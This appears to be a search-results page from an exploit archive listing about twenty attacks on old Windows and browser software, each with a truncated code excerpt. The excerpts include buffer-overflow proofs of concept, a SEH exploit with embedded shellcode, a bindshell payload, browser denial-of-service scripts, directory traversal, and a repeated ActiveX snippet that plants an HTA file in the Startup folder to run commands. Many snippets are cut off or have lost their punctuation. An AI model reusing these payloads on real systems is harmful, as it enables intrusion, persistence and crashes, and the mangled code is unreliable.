188 matches found
Acritum Femitter 1.03 - Directory Traversal Exploit
No description provided by source. Acritum Femitter v1.03 Directory Traversal Exploit Found By: DrIDE Date: Apr. 20, 2010 Tested On: Windows 7 Download: http://acritum.com/fem/download.htm - Description - Acritum Femitter v1.03 is a Windows based HTTP server. This is the latest version of the...
LiquidXML Studio 2010 ActiveX Remote 0day
No description provided by source. html object classid='clsid:E68E401C-7DB0-4F3A-88E1-159882468A79' id='target'//object script var sofa = ..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta; var king = Oh noz, Look what DrIDE...
history.go() DoS on multiple browsers
No description provided by source. -- Camino 2.0.2 history.go DoS Found By: DrIDE Tested On: Camino 2.0.2 on OSX 10.6.3 Notes: Impact is reduced because user must either have popup blocker off, or accept popups. Tested On: Safari 4.0.5 on OSX 10.6.3 Notes: Impact is reduced because user must eith...
Httpdx 1.5.4 - Multiple Denial of Service Vulnerabilities (http-ftp) PoC
No description provided by source. !/usr/bin/env python Title: httpdx v1.5.4 Remote HTTP Server DoS 0day By: DrIDE Tested: XPSP3 Download: http://httpdx.sourceforge.net Note: Server will totally crash if only running the EXE Note: Get a ffs what happened? message if running via BAT Debugging Note...
VLC Media Player < 0.9.6 (CUE) Local Buffer Overflow PoC
No description provided by source. !/usr/bin/env python VLC Media Player 0.9.6 .CUE Buffer Overflow PoC Found By: DrIDE Tested On: XPSP3 head = \x46\x49\x4c\x45\x20\x22 buff = \x41 10000 foot = \x2e\x42\x49\x4e\x22\x20\x42\x49\x4e\x41\x52\x59\x0d\x0a\x20\x54...
miniwebsvr 0.0.10 - Directory Traversal/Listing Exploits
No description provided by source. miniwebsvr v0.0.10 Directory Traversal/Listing Exploits Found By: DrIDE Date: May 12, 2010 Download: http://sourceforge.net/projects/miniwebsvr/ Tested on: Windows 7 - Description - miniwebsvr v0.0.10 is a Windows based HTTP server. This is the latest version of...
JetAudio 7.1.9.4030 (.m3u) - Universal Stack Overflow Exploit (SEH)
No description provided by source. !/usr/bin/env python JetAudio 7.1.9.4030 Universal Stack Overflow Exploit SEH Coded By: DrIDE Found By: HACK4LOVE Tested on Windows XP SP2 windows/exec - 303 bytes http://www.metasploit.com Encoder: x86/alphaupper EXITFUNC=seh, CMD=calc sc =...
CoreFTP 2.1 b1637 - (password field) Universal BOF Exploit
No description provided by source. !/usr/bin/python Vulnerability : CoreFTP v2.1 b1637 password field Universal BOF exploit Found by : mrme seeleymagic at hotmail dot com Coded by : mrme & corelanc0d3r Download from : http://www.coreftp.com/download.html Tested on : XP SP3 En VirtualBox Greetz to...
INMATRIX Zoom Player Pro <= 6.0.0 (.MID) Integer Overflow PoC
No description provided by source. !/usr/bin/env python INMATRIX Zoom Player Pro = 6.0.0 .MID Integer Overflow PoC Found By: DrIDE Credits: Platen Tested: verified on v 5.0.2 and 6.0.0 on XP SP3 Download: http://www.inmatrix.com MIDI Structure must be accurate buff =...
BigAnt Server 2.50 SP1 - (ZIP File) Local Buffer Overflow PoC
No description provided by source. !/usr/bin/env python BigAnt Server 2.50 SP1 Local Buffer Overflow PoC Found By: DrIDE Tested: XPSP3 Usage: Open BigAnt Console, Go to Update, Browse to zip, Boom. buff = \x41 10000 f1 = openBigAntUpdate.zip,w f1.writebuff f1.close milw0rm.com 2009-09-16...
BigAnt Server <= 2.50 SP6 - Local (ZIP File) Buffer Overflow PoC (2)
No description provided by source. !/usr/bin/env python BigAnt Server = 2.50 SP6 Local ZIP File Buffer Overflow PoC 2 Found By: DrIDE Tested: XPSP3 Usage: Open BigAnt Console, Go to Plug-In, Add our zip, Boom. buff = \x41 10000 f1 = openBigAntPlugIn.zip,w f1.writebuff f1.close milw0rm.com 2009-09...
Webkit (Safari 4.0.5) - Blink Tag Stack Exhaustion DoS
No description provided by source. html script loop1; var a = blink; function loop1 document.writea; setIntervalloop2,0; function loop2 document.writea; setIntervalloop1,0; /script body Webkit Safari Stack Exhaustion DoS Found By: DrIDE Credit To: Mattias Karlsson Reference:...
Mitsubishi MX ActiveX Component v3 (ActUWzd.dll (WzTitle)) - Remote Exploit
Exploit for windows platform in category remote exploits //Payload is a windows/bindshell that is spawned on LPORT=5500 shellcode =...
LiquidXML Studio 2010 Active-X File Creation
var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; "; target.OpenFilesofa,1; target.AppendStringking; LiquidXML...
LiquidXML Studio 2010 - ActiveX Code Execution
LiquidXML Studio 2010 - ActiveX Code Execution var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; ";...
LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation
LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell";...
LiquidXML Studio 2012 ActiveX Insecure Method Executable File Creation 0-day
Exploit for windows platform in category local exploits var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; ";...
LiquidXML Studio 2010 ActiveX Remote 0-day
Exploit for windows platform in category local exploits var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; ";...
LiquidXML Studio 2012 Active-X File Creation
var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; "; target.OpenFilesofa,1; target.AppendStringking; LiquidXML...
LiquidXML Studio 2012 - ActiveX Insecure Method Executable File Creation
var sofa = "..\..\..\..\..\..\..\..\..\Documents and Settings\All Users\Start Menu\Programs\Startup\thedoctorisin.hta"; var king = "Oh noz, Look what DrIDE did... var x=new ActiveXObject"WScript.Shell"; x.Exec"CALC.EXE"; "; target.OpenFilesofa,1; target.AppendStringking; LiquidXML...